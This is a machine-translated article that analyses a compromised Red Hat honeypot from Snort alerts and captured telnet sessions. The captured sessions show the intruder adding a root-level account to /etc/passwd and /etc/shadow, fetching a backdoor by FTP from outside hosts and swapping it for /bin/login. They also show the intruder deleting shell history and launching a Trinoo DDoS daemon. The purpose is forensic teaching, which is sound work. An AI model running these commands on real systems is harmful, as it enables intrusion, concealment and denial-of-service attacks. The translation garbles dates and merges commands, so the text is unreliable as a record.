System Monitoring: honeypot Analysis Technology

Preface
~~~~~~~~
What I will discuss in this article is to conduct a gradual research on an intruded system, and tools and intrusion technology are not the focus. We will focus on how to combine information to analyze what happened. I am writing this article to help you fight against threats to your enterprise or organization in the security field.

Background
~~~~~~~~
The information I introduced here is obtained through a honeypot technology. This honeypot is the server where Red Hat 9 is installed. I have not made any changes to the default installation, so the vulnerabilities discussed here will exist in any preset installation of the Red Hat 9 server. In addition, all IP addresses, user accounts, and terminal characters are true here. This provides a better understanding of verification data and analysis. Snort is my sniffer and is flexible, functional, and cost-free. It is also the best choice for intrusion detection systems. All actions taken by intruders will be captured by Snort. In addition, throughout the article, the sex of intruders has been identified as female. I will not mention how to obtain the gender of intruders here.

Intrusion
~~~~~~~~
At 06:43 on April 9, November 26, Snort reminded me that one of my systems was under noop attack. The packet's payload contains noop, which is a sign of a buffer overflow attack. In this case, Snort has recorded the attack records, which are stored in the/var/log/messages file. Note: 172.16.1.107 is the IP address of the honeypot. The IP addresses of all other systems are the IP addresses used by intruders.

Nov 26 06:43:05 lisa snort [6283]: IDS181/nops-x86: 63.226.81.13: 1351-> 172.16.1.107: 53

My honeypot has been tested and scanned countless times. However, this reminder reminds me that it may indicate that the system has been damaged. Sure enough, in less than two minutes, the attacker established a connection and the system log showed that the system was cracked.

Nov 26 06:44:25 victim7 PAM_pwdb [12509]: (login) session opened for user twin by (uid = 0)
Nov 26 06:44:36 victim7 PAM_pwdb [12521]: (su) session opened for user hantu by twin (uid = 506)

Intruders get super user permissions and are controlling the system. How is this done? What happened? Now we can start to analyze them and put them together, step by step.

Analysis
~~~~~~~~
However, how do we know where the intruders started during the analysis? Intruders usually start from information collection and need to determine the vulnerabilities in the target system. If your system is damaged, it usually indicates that the intruders have communicated with your system more than once. Before the intrusion, most of them involved data collection operations. Therefore, the information collection phase for intruders is also the beginning.

From the above information, this intrusion occurs on port 53. This indicates that our system is under DNS attack. Therefore, I will start searching for intelligence through Snort and looking for detection of DNS information. We found that the DNS version detection information was sent from the same system.

Nov 25 02:08:07 lisa snort [5875]: IDS277/DNS-version-query: 63.226.81.13: 4499-> 172.16.1.107: 53
Nov 25 02:08:07 lisa snort [5875]: IDS277/DNS-version-query: 63.226.81.13: 4630-> 172.16.1.101: 53

Note the data to be tested, that is, January 1, November 25. Our system was cracked in November 26, from the same system. Intruders only take a short time to break the system. I guess it is an automated tool used by intruders to scan for known DNS vulnerabilities in many systems. The scan leaves. When the intruders review the results, they determine the system (including US) with the vulnerability and then start playing the game. Now we have pieced together the first part of our story. Intruders detected our system on October 11, November 25, and then the system was used the next day. According to my IDS information, it seems that it was hit by a script boy with the same DNS vulnerability. But how did she launch the intrusion and how does it work? Continue to read the following.

Vulnerabilities
~~~~~~~~
Like most commercial IDS systems, Snort can display all our IP data packets. We will use this feature to analyze vulnerabilities. The vulnerability information is obtained from the Snort log (dumped by the Tcpdump binary format ). I have not restricted my queries on host 63.236.81.13 because intruders may use other systems. In fact, this is because Intruders use at least three different systems to exploit vulnerabilities (this is my experience ). This vulnerability is designed to obtain a Root Shell on a remote system. Once intruders obtain a Root shell, they can run any root command. See the following command.

Cd/; uname-a; pwd; id;
Linux apple 2.4.18-1.4 #1 Sun Nov 29 22:21:09 GMT 2009 i686 unknown
/
Uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm ), 6 (disk), 10 (wheel)
Echo "twin: 506: 506:/home/twin:/bin/bash">/etc/passwd
Echo "twin: w3nT2H0b6AjM2 ::::::" >>>/etc/shadow

Echo "hantu: 0: 0: // bin/bash">/etc/passwd
Echo "hantu: w3nT2H0b6AjM2 ::::::" >>>/etc/shadow

Intruders run multiple commands as root. First, she confirmed her system (uname-a), directory (pwd), and then confirmed her UID (id ). Then she set twin and hantu accounts to the same password. Note that the UID of twin has two 506 s and the UID of hantu has two 0 s. Remember, most systems do not allow UID 0 to telnet to the window. Therefore, she creates an account because she can access it remotely. Therefore, intruders exploit the Dns vulnerability to obtain a root shell and insert it into two accounts. It took only 90 seconds for her to exploit the vulnerability and obtain the root permission in the telnet window. So what will she do next?

Nov 26 06:43:05 lisa snort [6283]: IDS181/nops-x86: 63.226.81.13: 1351-> 172.16.1.107: 53
Nov 26 06:44:25 victim7 PAM_pwdb [12509]: (login) session opened for user twin by (uid = 0)
Nov 26 06:44:36 victim7 PAM_pwdb [12521]: (su) session opened for user hantu by twin (uid = 506)

Obtain
~~~~~~~~
Fortunately, Telnet is a protocol for transmitting plain text data without data encryption. This means that we can track and capture all her keys through the sniffer. Snort has done this for us. By analyzing the captured telnet sessions, we are like intruders, because we capture not only STDIN (Strike Key), but also STDOUT and STDER. Analyze the telnet session and determine the activity of the intruder.

First, our "friend" telnet (from 213.28.22.189) to twin, and then get the Super User hantu. Remember, she cannot telnet to hantu with UID 0, because remote access is restricted.

#'! "'! "#'9600,9600 'VT5444VT5444
Red Hat Linux release 9
Kernel 2.4.18-1.4 on an i686
Login: twin
Password: hax0r
No directory/home/twin!
Logging in with home = "/".
[Twin @ apple/] $ su hantu
Password: hax0r

Step 2, our "friend" FTP goes to another server to get her toolkit.

[Root @ apple/] # ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0 (1) Sat Nov 21 16:48:12 GMT 2009) ready.
Name (24.112.167.35: twin): welek
331 Password required for welek.
Password: password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
Ftp> get bj. c
Local: bj. c remote: bj. c
200 PORT command successful.
150 Opening BINARY mode data connection for bj. c (1010 bytes ).
226 Transfer complete.
1010 bytes encoded ed in 0.115 secs (8.6 Kbytes/sec)
Ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.

Step 3, she obtained her backdoor program, compiled bj. c and installed it in/sbin/login to replace it. Note the compilation of all commands executed at the command prompt.

[Root @ apple/] # gcc-o login bj. cchown root: bin loginchmod 4555 loginchmod u-w logincp/bin/login/usr/bin/xstatcp/bin/login/usr/bin/old rm/bin/loginchmod 555/usr/bin/xstatchgrp bin/usr/bin/xstatmv login/bin/loginrm bj. cgcc-o login bj. c
Bj. c: 16: unterminated string or character constant
Bj. c: 12: possible real start of unterminated constant

She is now trying to execute compiled Backdoor programs.

[Root @ apple/] # chown root: bin login
Chown: login: No such file or directory
[Root @ apple/] # chmod 4555 login
Chmod: login: No such file or directory
[Root @ apple/] # chmod u-w login
Chmod: login: No such file or directory
[Root @ apple/] # cp/bin/login/usr/bin/xstat
[Root @ apple/] # cp/bin/login/usr/bin/old
[Root @ apple/] # rm/bin/login
[Root @ apple/] # chmod 555/usr/bin/xstat
[Root @ apple/] # chgrp bin/usr/bin/xstat
[Root @ apple/] # mv login/bin/login
Mv: login: No such file or directory
[Root @ apple/] # rm bj. c

Dear friend, she didn't get the correct result this time. Try again. She re-downloaded the backdoor program from the FTP site.

[Root @ apple/] # ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0 (1) Sat Nov 21 16:48:12 GMT 2009) ready.
Name (24.112.167.35: twin): [root @ apple/] # ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0 (1) Sat Nov 21 16:48:12 GMT 2009) ready.
Name (24.112.167.35: twin): welek
331 Password required for welek.
Password: 331 Password required for welek.
Password: password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
Ftp> get bj. c
Qulocal: bj. c remote: bj. c
200 PORT command successful.
U150 Opening BINARY mode data connection for bj. c (1011 bytes ).
226 Transfer complete.
1011 bytes encoded ed in 0.134 secs (7.3 Kbytes/sec)
Ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.

Now is her second attempt to compile the backdoor program. Note that the same cut and paste commands are used.

[Root @ apple/] # gcc-o login bj. cchown root: bin loginchmod 4555 loginchmod u-w logincp/bin/login/usr/bin/xstatcp/bin/login/usr/bin/old rm/bin/loginchmod 555/usr/bin/xstatchgrp bin/usr/bin/xstatmv login/bin/loginrm bj. cgcc-o login bj. c
Bj. c: In function 'owner ':
Bj. c: 16: warning: assignment makes pointer from integer without a cast

Now we can see that the compiled backdoor program has been implemented. Valid/bin/login copies are moved to/usr/bin/xstat, And the compiled backdoor program bj. c is used to replace/bin/login, which is a backdoor program.

[Root @ apple/] # chown root: bin login
[Root @ apple/] # chmod 4555 login
[Root @ apple/] # chmod u-w login
[Root @ apple/] # cp/bin/login/usr/bin/xstat
Cp:/bin/login: No such file or directory
[Root @ apple/] # cp/bin/login/usr/bin/old
Cp:/bin/login: No such file or directory
[Root @ apple/] # rm/bin/login
Rm: cannot remove '/bin/login': No such file or directory
[Root @ apple/] # chmod 555/usr/bin/xstat
[Root @ apple/] # chgrp bin/usr/bin/xstat
[Root @ apple/] # mv login/bin/login

Now she begins to clear traces of her activity. I think this is a script, cut and paste. Look at all the commands she executed. In addition, I'm sure this is a "generic" cleanup script and note how it tries to delete files (such as/tmp/h.

[Root @ apple/] # rm bj. c
[Root @ apple/] # [root @ apple/] # ps-aux | grep inetd; ps-aux | grep portmap; rm/sbin/portmap; rm/tmp/h; rm/usr/sbin/rpc. portmap; rm-rf. bash *; rm-rf/root /. bash_history; rm-rf/usr/sbin/namedps-aux | grep inetd; ps-aux | grep portmap; rm/sbin/por <grep inetd; ps-aux | grep portmap; rm/sbin/port map; rm/tmp/h; rm/usr <p portmap; rm/sbin/portmap; rm/tmp/h; rm/usr/sbin/rpc. portmap; rm-rf <ap; rm/tmp/h; rm/usr/sbin/rpc. portmap; rm-rf. bash *; rm-rf/root /. ba <bin/rpc. portmap; rm-rf. bash *; rm-rf/root /. bas h_history; rm-rf/usr/s <bash *; rm-rf/root /. bash_history; rm-rf/usr/sb in/named
359? 00:00:00 inetd
359? 00:00:00 inetd
Rm: cannot remove '/tmp/H': No such file or directory
Rm: cannot remove '/usr/sbin/rpc. portmap': No such file or directory
[Root @ apple/] # ps-aux | grep portmap
[Root @ apple/] # [root @ apple/] # ps-aux | grep inetd; ps-aux | grep portmap; rm/sbin/portmap; rm/tmp/h; rm/usr/sbin/rpc. portmap; rm-rf. bash *; rm-rf/root /. bash_history; rm-rf/usr/sbin/namedps-aux | grep inetd; ps-aux | grep portmap; rm/sbin/por <grep inetd; ps-aux | grep portmap; rm/sbin/port map; rm/tmp/h; rm/usr <p portmap; rm/sbin/portmap; rm/tmp/h; rm/usr/sbin/rpc. portmap; rm-rf <ap; rm/tmp/h; rm/usr/sbin/rpc. portmap; rm-rf. bash *; rm-rf/root /. ba <bin/rpc. portmap; rm-rf. bash *; rm-rf/root /. bas h_history; rm-rf/usr/s <bash *; rm-rf/root /. bash_history; rm-rf/usr/sb in/named
359? 00:00:00 inetd
Rm: cannot remove '/sbin/portmap': No such file or directory
Rm: cannot remove '/tmp/H': No such file or directory
Rm: cannot remove '/usr/sbin/rpc. portmap': No such file or directory
[Root @ apple/] # rm: cannot remove '/sbin/portmap': No such file or directory

I found some interesting things. The attacker cleans up the object through generic, but the script has an error because the file it is trying to delete does not exist. I think our "friend" must have seen these error messages because she was trying to manually delete these identical files even if they didn't exist.

Rm: cannot remove '/tmp/H': No such file or directory
Rm: cannot remove '/usr/sbin/rpc. portmap': No such file or directory
[Root @ apple/] # rm: cannot remove '/sbin/portmap': No such file or directory
Rm: cannot remove '/tmp/H': No such file or directory
Rm: cannot remove '/usr/sbin/rpc. portmap': No such file or directory
[Root @ apple/] # exit
Exit
[Twin @ apple/] $ exit
Logout

In this way, our "friend" has placed a backdoor program called bj. c. After that, she immediately exited from my system.

Return
~~~~~~~~
After the system was damaged, I took it offline and performed data review (such as Tripwire ). However, next week I will see various systems attempting to Telnet to this machine. Apparently, when the intruder came back, it was most likely that more evil activities would be carried out on my system. So I continued to connect the damaged machine to the Internet and curiously looked at what the intruder would do? Sure enough, she came back nearly two weeks later. I used Snort to capture all her buttons again. Let's take a look at the following telnet session and study how to destroy the system. We will use it as a Trinoo terminal.

At a.m. on June 23, December 9, our "friend" initiated a telnet session from 24.7.85.192. Note how she uses a backdoor program to bypass authentication and access the system.

! "'#'! "#'9600,9600 'VT9111VT9111
Red Hat Linux release 9
Kernel 2.4.18-1.4 on an i686
[Root @ apple/] # ls
Bin cdrom etc home lost + found proc sbin usr
Boot dev floppy lib mnt root tmp var

Once you log on to the system, she tries to use DNS.

[Root @ apple/] # nslookup magix

[Root @ apple/] # nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101

Our "friend" FTP goes to a system in Singapore and downloads a new toolkit. Note that the hidden directory. s has created a storage tool.

[Root @ apple/] # mkdir. s
[Root @ apple/] # cd. s
[Root @ apple/. s] # ftp nusnet-216-35.dynip.nus.edu.sg
Ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
Ftp> qquituit
[Root @ apple/. s] # ftpr 137.132.216.35
Login: ftrp: command not found
[Root @ apple/. s] #
[Root @ apple/. s] # ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17 (1) Thu Nov 19 09:21:53 GMT 2009) ready.

She inserted the same username in our window to get the access permission.

Name (137.132.216.35: root): twin
331 Password required for twin.
Password: hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
Ftp> get d.tar.gz
Local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes ).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes ).
226 Transfer complete.
8323 bytes encoded ed in 1.36 secs (6 Kbytes/sec)
Ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[Root @ apple/. s] # gunzip d *
[Root @ apple/. s] # tar-xvf d *
Daemon/
Daemon/ns. c
Daemon/ns
[Root @ apple/. s] # rm-rf d.tar
[Root @ apple/. s] # cd daemon
[Root @ apple daemon] # chmod u + x nsx ns
[Root @ apple daemon] #./ns

The intruder just installed and started the Trinoo terminal. Next, she tried to change the damaged system. Note how she sets her vt term. This system may also have a backdoor. Connection failed because DNS cannot work properly.

[Root @ apple daemon] # TERM = vt1711
[Root @ apple daemon] # telnet macau.hkg.com
Macau.hkg.com: Unknown host
[Root @ apple daemon] # exit
Exit www.2cto.com

Our "friend" left, just went back to the previous system (137.132.216.35), and tried more cute naughty actions.

! "'#'! "#'9600,9600 'VT9111VT9111
Red Hat Linux release 9
Kernel 2.4.18-1.4 on an i686
Apple/] # TERM = vt9111
Telnet ns2.cpcc. cc. nc. us
Ns2.cpcc. cc. nc. us: Unknown host
@ Apple/} # telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
!!!!!! Connection closed by foreign host.
Te8ot @ apple/] # TERM = vt7877
[Root @ apple/] # telnet sparky. w
Itoot @ apple/] # exit
Exit

After that, many people thought that the system was used as a zombie to launch attacks against other systems. Intruders intend to use the system for more destructive activities. Therefore, I disabled the system.

Dec 9 11:03:20 lisa snort [2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202: 2984-> 172.16.1.107: 27444
Dec 9 11:03:20 lisa snort [2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107: 1025-> 137.132.17.202: 31335
Dec 9 11:26:04 lisa snort [2370]: IDS197/trin00-master-to-daemon: 137.132.17.202: 2988-> 172.16.1.107: 27444
Dec 9 11:26:04 lisa snort [2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107: 1027-> 137.132.17.202: 31335
Dec 9 20:48:14 lisa snort [2370]: IDS197/trin00-master-to-daemon: 137.132.17.202: 3076-> 172.16.1.107: 27444
Dec 9 20:48:14 lisa snort [2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107: 1028-> 137.132.17.202: 31335

Conclusion
~~~~~~~~
I have already elaborated on how my honeypot was cracked step by step. At first I used a backdoor program and finally used Trinoo attacks. On July 6, November 25, intruders first scanned the DNS version of the honeypot. The next day, that is, on July 15, November 26, she executed NXT-Howto and successfully obtained the root shell. After obtaining a root shell, she created two system accounts, twin and hantu. Then, she immediately opened the telnet window, obtained the superuser's access permission, and downloaded and placed her backdoor program bj. c. Then she performed a script to hide the traces she had left in the system. Then she tried to connect to my system several weeks later, but it was offline. Finally, on October 16, December 9, she accessed, installed, and executed Trinoo. At this point, I took the honeypot offline.

I just covered all the steps for analyzing the honeypot. The goal is to determine how to use the intrusion detection system and logs for analysis of the compromised system. Through this analysis method, you should have a better understanding of the system under attack. If you want to learn more, you can contact me via Email (Hack01 [at] Live.cn.


Finally, I would like to thank all the members of the underground organization for their contributions. In some special tasks, it is impossible to complete without their hard work and communication.